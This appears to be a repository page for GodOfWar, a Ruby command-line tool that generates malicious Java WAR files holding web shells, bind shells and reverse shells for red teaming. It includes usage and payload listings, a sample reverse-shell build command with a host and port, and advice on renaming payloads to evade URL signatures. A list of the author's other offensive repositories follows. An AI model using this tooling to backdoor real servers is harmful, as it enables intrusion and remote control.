• Stars
    star
    120
  • Rank 295,983 (Top 6 %)
  • Language
    Java
  • Created over 5 years ago
  • Updated over 5 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

GodOfWar - Malicious Java WAR builder with built-in payloads

GodOfWar - Malicious Java WAR builder

A command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby.

                              .
                             hhh              
                            hhhhhhh           
                           hhhhhhhh        
                          hhhhhhhh+        
                         hhhhhhhh'           
                        hhhhhhhh.            
                       hhhhhhhhh             
        ..--          hhhhhhhhh             
      -sh/..  +.     hhhhhhhhh:              
      /+/:-/+ss-`   hhhhhhhhhh:               
      /MMM`ss:``.`  hhhhhhhhhh:              
     .MMMMM:        hhhhhhhhhhhhhhhhh:       
     MMMMMMM:        hhhhhhhhhhhhhhhh:      
     MMMMMMMMMMMMM:  hhhhhhhhhhhhhhhh`       
    :NNm:odh/oMMMNs. hhhhhhhhhhhhhhhh`       
   ./:`smdo+oos++-    `++sNMMMMMNmh+         
      .-y-`     ` :.  /   -dmddhhhhh-        
       o/-     `//o/ /M/   `+hhhhhhhh`       
      /o     :yosmy   +y  .`.hhhhhhhho       
      +`     /../.:      `.y::hhhhhs:`       
       `      `+yys`   .sy` /oohhy:          
                `/:s/-``     `.hh`           
               ..`     `       y+            
            .hNNmmNdymmmmds`   :-            
            hs.   ``..    :y-  `             
               -hhmNmddm+   .                
               `NMMMMMMm                     
                ` `oMMy                      
            `.     /Md-      :o  
           MMMMMMMMMMMMMMMMMMM:             
            MMMMMMMMMMMMMMMMMM:              
             MMMMMMMMMMMMMMMMM               
              MMMMMMMMMMMMMMM.               
              `MMMMMMMMMMMMM.                 
                :sNMMMNMdo:                  
                  ``+m:/-                    
                     `                                  
GodOfWar - Malicious Java WAR builder.

Features

  • Preexisting payloads. (try -l/--list)
    • cmd_get
    • filebrowser
    • bind_shell
    • reverse_shell
    • reverse_shell_ui
  • Configurable backdoor. (try --host/--port)
  • Control over payload name.
    • To avoid malicious name after deployment to bypass URL name signatures.

Installation

$ gem install godofwar

Usage

$ godofwar -h 

Help menu:
   -p, --payload PAYLOAD            Generates war from one of the available payloads.
                                        (check -l/--list)
   -H, --host IP_ADDR               Local or Remote IP address for the chosen payload
                                        (used with -p/--payload)
   -P, --port PORT                  Local or Remote Port for the chosen payload
                                        (used with -p/--payload)
   -o, --output [FILE]              Output file and the deployment name.
                                        (default is the payload original name. check '-l/--list')
   -l, --list                       list all available payloads.
   -h, --help                       Show this help message.

Example

List all payloads

$ godofwar -l
├── cmd_get
│   └── Information:
│       ├── Description: Command execution via web interface
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/cmd.jsp?cmd=whoami
│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│       ├── Description: Remote file browser, upload, download, unzip files and native command execution
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/filebrowser.jsp
│       ├── References:  ["http://www.vonloesch.de/filebrowser.html"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│       ├── Description: TCP bind shell
│       ├── OS:          any
│       ├── Settings:    {"port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse-shell.jsp
│       ├── References:  ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│       ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell_ui.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│       ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell

Generate payload with LHOST and LPORT

godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy

After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)

Contributing

  1. Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
  2. Create your feature branch (git checkout -b my-new-feature).
  3. Commit your changes (git commit -am 'Add some feature').
  4. Push to the branch (git push origin my-new-feature).
  5. Create a new Pull Request.

Add More Backdoors

To contribute by adding more backdoors:

  1. create a new folder under payloads directory.
  2. put your jsp file under the newly created directory (make it the same directory name).
  3. update payloads_info.json file with
    1. description.
    2. supported operating system (try to make it universal though).
    3. configurations: default host and port.
    4. references: the payload origin or its creator credits.

License

The gem is available as open source under the terms of the MIT License.

More Repositories

1

jwtear

Modular command-line tool to parse, create and manipulate JWT tokens for hackers
Ruby
99
star
2

CVE-in-Ruby

Exploits written & ported to Ruby - no Metasploit
Ruby
80
star
3

ServerlessRedirector

Serverless Redirector in various cloud vendor for red team
Python
69
star
4

sqlmap-tamper-api

SQLMap tamper api to accept tamper scripts from all languages
JavaScript
59
star
5

goCabrito

Super organized and flexible script for sending phishing campaigns
Ruby
54
star
6

DotNetToJScriptMini

A simplified version of DotNetToJScript to create a JScript file which loads a .NET v2 assembly from memory.
C#
47
star
7

chkdfront

Check Domain Fronting (chkdfront) - It checks if your domain fronting is working
Ruby
43
star
8

BufferOverflow-Kit

We collect many tools used in buffer overflow development in one place, repeating with new idea is not a shame - thanks China :)
Ruby
34
star
9

AssemblyLoader

Various implementations for C# in memory execution. Assembly.Load() Assembly.LoadFile() AppDomain.ExecuteAssembly()
C#
32
star
10

Burp_Suite_Extension_Ruby

BurpSuite Extension Ruby Template to speed up building a Burp Extension using Ruby
Ruby
28
star
11

MSI-AlwaysInstallElevated

A Collection of templates that can be used for abusing window's AlwaysInstallElevated policy
26
star
12

AggressorScripts

A collection of Cobalt Strike aggressor scripts
18
star
13

USBNinjaPayloads

A centralized place to collect USB Ninja payloads
C++
16
star
14

creds-harvester

A simple, yet highly customizable, script to use with cloned websites for phishing and credentials harvesting
Ruby
15
star
15

hacker-gems

Hacker-gems installs most needed gems for hackers
Ruby
11
star
16

Spammers

A collection of files sent by spammers to my email
HTML
10
star
17

ruby-port-forward

an easy way to port forwarding using ruby
Ruby
8
star
18

nipper_parser

NipperPrser gem is an unofficial parser for Titania Nipper Studio XML report.
Ruby
7
star
19

sql

a console-based tool to connect to MSSQL server for red teamer and pentesters
Ruby
7
star
20

nessus-search

parse nessus report and search for specific data
Ruby
6
star
21

kingsabri-blog

5
star
22

getCabrito

Email open & click tracking server for goCabrito
CSS
4
star
23

soap_enumerator

Soap Enumerator converts WSDL document into Ruby objects. Inspired by SoapUI
Ruby
4
star
24

Bash-scripts

Some Bash scripts
Shell
3
star
25

kingsabri.gituhub.io

KING SABRI's blog
CSS
2
star
26

bigip2ip

Extracting the private IP of servers behind F5 loadbalancer from cookies
Ruby
2
star
27

WebShellConsole

WebShellConsole is a small interactive console connect simple web shell from command line using GET
Ruby
2
star
28

Books2Ruby

Rubyfu initiative: Convert scripts written in information security books to ruby
2
star
29

Ruby_CGI_Scripts

Ruby
1
star
30

unidecode2en

ASCII transliterations of Unicode text to English.
Go
1
star
31

fix-codimd-urls

Fix images path in CodiMD notes backup to be relative path
Ruby
1
star
32

form-rude

Ruby
1
star
33

BMC

Bashar Malware Checker
Ruby
1
star
34

katacoda-scenarios

Katacoda Scenarios
1
star
35

ninja-firewall

Ruby
1
star
36

SharePointMonkey-

1
star
37

arcsight_archiver

Arcsight has an issue in archiving which is limit archiving space to 200GB even you have more space!.
Ruby
1
star
38

TCP-Starvation

1
star
39

gitbook_plugins_test

1
star
40

DnsEnumSuite

Ruby
1
star
41

sqli-browser

CLI-based browser for manual SQLi exploitation.
Ruby
1
star
42

rt

My Red Teaming directory
1
star
43

ExpDev-Scripts

collection of helper scripts I use during exploitation development
Ruby
1
star
44

Scripts

Hack scripts for different purposes
Shell
1
star
45

Twitter-notifier

Ruby
1
star
46

SendPost

Ruby
1
star
47

Buby-Scripts

Repo containing various buby scripts
Ruby
1
star
48

kopykat

Windows keylogger created in Ruby.
Ruby
1
star
49

VulnerabilityDB

1
star
50

FormRude-console

Ruby
1
star